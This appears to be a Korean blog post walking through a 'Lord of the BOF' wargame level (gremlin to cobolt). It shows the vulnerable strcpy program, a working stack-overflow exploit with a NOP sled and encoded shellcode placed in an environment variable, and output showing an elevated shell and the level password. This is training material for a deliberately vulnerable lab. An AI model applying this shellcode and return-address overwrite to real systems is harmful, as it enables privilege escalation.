- NEW초롱이의 하루
- kisa
- 길은 가면, 뒤에 있다
- C언어 예술가
- Zer0 day - Zer0 day
- Information Security
- Secure-EDU
- 앙큼한유채's 일상 Story
- Library of Ezbeat (잠정 폐쇄)
- The Factory
- 안드
- 모후모후의 커뮤니티
- 공학도의 잡다한 시선
- 안드2
- IT속에 코코아
- IP주소검색(whois)
- IP주소검색(좌표포함)
- 소프트웨어 경력 관리
- 해저 케이블 지도
- MAC주소검색
- IANA
- 포트번호검색
- 자신의IP확인
- 웹페이퍼캡처
- 나의패스워드보안등급
- 웹 취약점 분석
- IT용어정리
- GitHub
- 라이브러리 모음
- 웹마당넷
- 시스템콜참고
- BCD 변환
- 보안뉴스
- 코딩도장(C, Python)
- 백준알고리즘
- 코딩테스트 연습
- 웹 사이트 테스트
- 스크립트꾸미기
- ctf대회목록
- 전자신문
- hash 크랙
- CVE
- 도메인등록
- N클라우드
- BugBountyList
- 칼리공식사이트
- CR4FTING BOX
- 아스키코드 변환
- 웹 사이트 통계 및 평가
- PDF변환
- AWS 및 클라우드 정보
- 가상화 및 서버관련
- 티오리
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- LEVIATHAN
- 쉘 스크립트
- centos docker
- 리눅스
- nginx
- 라즈베리파이
- Python
- ACL
- Shell script
- Linux
- GUI
- 안드로이드
- System
- docker
- Java
- 메소드
- API
- 프로젝트
- JSP
- Tkinter
- 그라파나
- RaspberryPi
- synology
- 네트워크
- Android
- 쉘 스크립트 if문
- 클라우드
- 쉘 스크립트 기초
- GPIO
- 자바
- Today
- Total
IT창고
[BOF] gremlin -> cobolt 본문
gremlin 문제입니다.
/*
The Lord of the BOF : The Fellowship of the BOF
- cobolt
- small buffer
*/
int main(int argc, char *argv[])
{
char buffer[16];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
export 명령어로 환경변수에 쉘코드를 올려줍니다.
[gremlin@localhost gremlin]$ export SH=$(python -c 'print "\x90"*100000+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"')
환경변수에 제대로 올라왔는지 확인합니다.
[gremlin@localhost gremlin]$ ./cobolt $(python -c 'print "\x90"*20+"\x0f\xde\xff\xbf"')
߿¿
bash$ id
uid=501(gremlin) gid=501(gremlin) euid=502(cobolt) egid=502(cobolt) groups=501(gremlin)
bash$ my-pass
euid = 502
hacking exposed
bash$
주소보정없이 바로 성공했습니다.
'WarGame > The Load of the BOF' 카테고리의 다른 글
[BOF] wolfman -> darkelf (0) | 2018.02.12 |
---|---|
[BOF] orc -> wolfman (0) | 2018.02.12 |
[BOF] goblin -> orc (0) | 2018.02.11 |
[BOF] cobolt -> goblin (0) | 2018.02.10 |
[BOF] gate-> gremlin (0) | 2018.02.09 |